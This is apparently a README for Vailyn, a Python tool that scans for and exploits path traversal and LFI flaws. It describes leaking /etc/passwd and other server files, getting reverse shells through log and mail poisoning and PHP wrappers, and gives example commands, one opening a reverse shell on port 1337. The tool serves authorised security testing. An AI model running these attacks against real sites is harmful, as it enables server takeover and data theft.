Vailyn - A Phased, Evasive Path Traversal + LFI Scanning & Exploitation Tool In Python

Phased Path Traversal & LFI Attacks

Vailyn 3.0

Since v3.0, Vailyn supports LFI PHP wrappers in Phase 1. Use --lfi to include them in the scan.

About

Vailyn is a multi-phased vulnerability analysis and exploitation tool for path traversal and file inclusion vulnerabilities. It is built to make it as performant as possible, and to offer a wide arsenal of filter evasion techniques.

How does it work?

Vailyn operates in 2 phases. First, it checks if the vulnerability is present. It does so by trying to access /etc/passwd (or a user-specified file), with all of its evasive payloads. Analysing the response, payloads that worked are separated from the others.

Now, the user can choose freely which payloads to use. Only these payloads will be used in the second phase.

The second phase is the exploitation phase. Now, it tries to leak all possible files from the server using a file and a directory dictionary. The search depth and the directory permutation level can be adapted via arguments. Optionally, it can download found files, and save them in its loot folder. Alternatively, it will try to obtain a reverse shell on the system, letting the attacker gain full control over the server.

Right now, it supports multiple attack vectors: injection via query, path, cookie and POST data.

Why the phase separation?

The separation in several phases is done to hugely improve the performance of the tool. In previous versions, every file-directory combination was checked with every payload. This resulted in a huge overhead due to payloads being always used again, despite not working for the current page.

Installation

Recommended & tested Python versions are 3.7+, but it should work fine with Python 3.5 & Python 3.6, too. To install Vailyn, download the archive from the release tab, or perform

Once on your system, you'll need to install the Python dependencies.

Unix Systems

On Unix systems, it is sufficient to run

Windows

Some libraries Vailyn uses do not work well with Windows, or will fail to install.

If you use Windows, use pip to install the requirements listed in Vailyn\·›\requirements-windows.txt.

If twisted fails to install, there is an unofficial version available here, which should build under Windows. Just bear in mind that this is a 3rd party download, and the integrity isn't necessarily guaranteed. After this installed successfully, running pip again on requirements-windows.txt should work.

Final Steps

If you want to fully use the reverse shell module, you'll need to have sshpass, ncat and konsole installed. Package names vary by Linux distribution. On Windows, you'll need to start the listener manually beforehand. If you don't like konsole, you can specify a different terminal emulator in core/config.py.

That's it! Fire Vailyn up by moving to its installation directory and performing

Usage

Vailyn has 3 mandatory arguments: -v VIC, -a INT and -p2 TP P1 P2. However, depending on -a, more arguments may be required.

Vailyn currently supports 5 attack vectors, and provides a crawler to automate all of them. The attack performed is identified by the -a INT argument.

You also must specify a target to attack. This is done via -v VIC and -Pi VIC2, where -v is the part before the injection point, and -Pi the rest.

Example: if the final URL should look like: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, you can specify -v https://site.com/download.php and -Pi &param2=necessaryvalue (and -p file, since this is a query attack).

If you want to include PHP wrappers in the scan (like php://filter), use the --lfi argument. At the end of Phase 1, you'll be presented with an additional selection menu containing the wrappers that worked. (if any)

If the attacked site is behind a login page, you can supply an authentication cookie via -c COOKIE. If you want to attack over Tor, use --tor.

Phase 1

This is the analysis phase, where working payloads are separated from the others.

By default, /etc/passwd is looked up. If the server is not running Linux, you can specify a custom file by -i FILENAME. Note that you must include subdirectories in FILENAME. You can modify the lookup depth with the first value of -d (default=8). If you want to use absolute paths, set the first depth to 0.

Phase 2

This is the exploitation phase, where Vailyn will try to leak as much files as possible, or gain a reverse shell using various techniques.

The depth of lookup in phase 2 (the maximal number of layers traversed back) is specified by the second value of the -d argument. The level of subdirectory permutation is set by the third value of -d.

If you attack with absolute paths and perform the leak attack, set all depths to 0. If you want to gain a reverse shell, make sure that the second depth is greater than 0.

By specifying -l, Vailyn will not only display files on the terminal, but also download and save the files into the loot folder.

If you want a verbose output (display every output, not only found files), you can use --debug. Note that output gets really messy, this is basically just a debug help.

To perform the bruteforce attack, you need to specify -p2 leak FIL PATH, where

FIL is a dictionary file containing filenames only (e.g. index.php) PATH, is a dictionary file containing directory names only. Vailyn will handle directory permutation for you, so you'll need only one directory per line.

To gain a reverse shell by code injection, you can use -p2 inject IP PORT, where

IP is your listening IP PORT is the port you want to listen on.

WARNING

Vailyn employs Log Poisoning techniques. Therefore, YOUR SPECIFIED IP WILL BE VISIBLE IN THE SERVER LOGS.

The techniques (only work for LFI inclusions):

/proc/self/environ inclusion only works on outdated servers Apache + Nginx Log Poisoning & inclusion SSH Log Poisoning poisoned mail inclusion wrappers expect:// data:// (plain & b64) php://input

False Positive prevention

To distinguish real results from false positives, Vailyn does the following checks:

check the status code of the response check if the response is identical to one taken before attack start: this is useful e.g, when the server returns 200, but ignores the payload input or returns a default page if the file is not found. similar to #2, perform an additional check for query GET parameter handling (useful when server returns error that a needed parameter is missing) check for empty responses check if common error signatures are in the response content check if the payload is contained in the response: this is an additional check for the case the server responds 200 for non-existing files, and reflects the payload in a message (like ../../secret not found) check if the entire response is contained in the init check response: useful when the server has a default include which disappears in case of 404 for -a 2, perform an additional check if the response content matches the content from the server root URL REGEX check for /etc/passwd if using that as lookup file

Examples

Simple Query attack, leaking files in Phase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

Query attack, but I know a file file.php exists on exactly 2 levels above the inclusion point: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P This will shorten the duration of Phase 1 very much, since its a targeted attack.

Simple Path attack: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

Path attack, but I need query parameters and tag: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

Simple Cookie attack: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Will fetch cookies and you can select cookie you want to poison

POST Plain Attack: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" will infect DATA2 with the payload

POST JSON Attack: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

Attack, but target is behind login screen: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

Attack, but I want a reverse shell on port 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection (will start a ncat listener for you if on Unix)

Full automation in crawler mode: $ Vailyn -v "http://root-url.site" -a A you can also specify other args, like cookie, depths, lfi & lookup file here

Full automation, but Arjun needs --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY

Demo

Vailyn's Crawler analyzing a damn vulnerable web application. LFI Wrappers are not enabled.

GUI Demonstration (v2.2.1-5)

Possible Issues

Found some false positives/negatives (or want to point out other bugs/improvements): please leave an issue!

Code of Conduct

Vailyn is provided as an offensive web application audit tool. It has built-in functionalities which can reveal potential vulnerabilities in web applications, which could be exploited maliciously.

THEREFORE, NEITHER THE AUTHOR NOR THE CONTRIBUTORS ARE RESPONSIBLE FOR ANY MISUSE OR DAMAGE DUE TO THIS TOOLKIT.

By using this software, the user obliges to follow their local laws, to not attack someone else's system without explicit permission from the owner, or with malicious intent.

In case of an infringement, only the end user who committed it is accountable for their actions.

Credits & Copyright

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun is no longer distributed with Vailyn. Install its latest version via pip.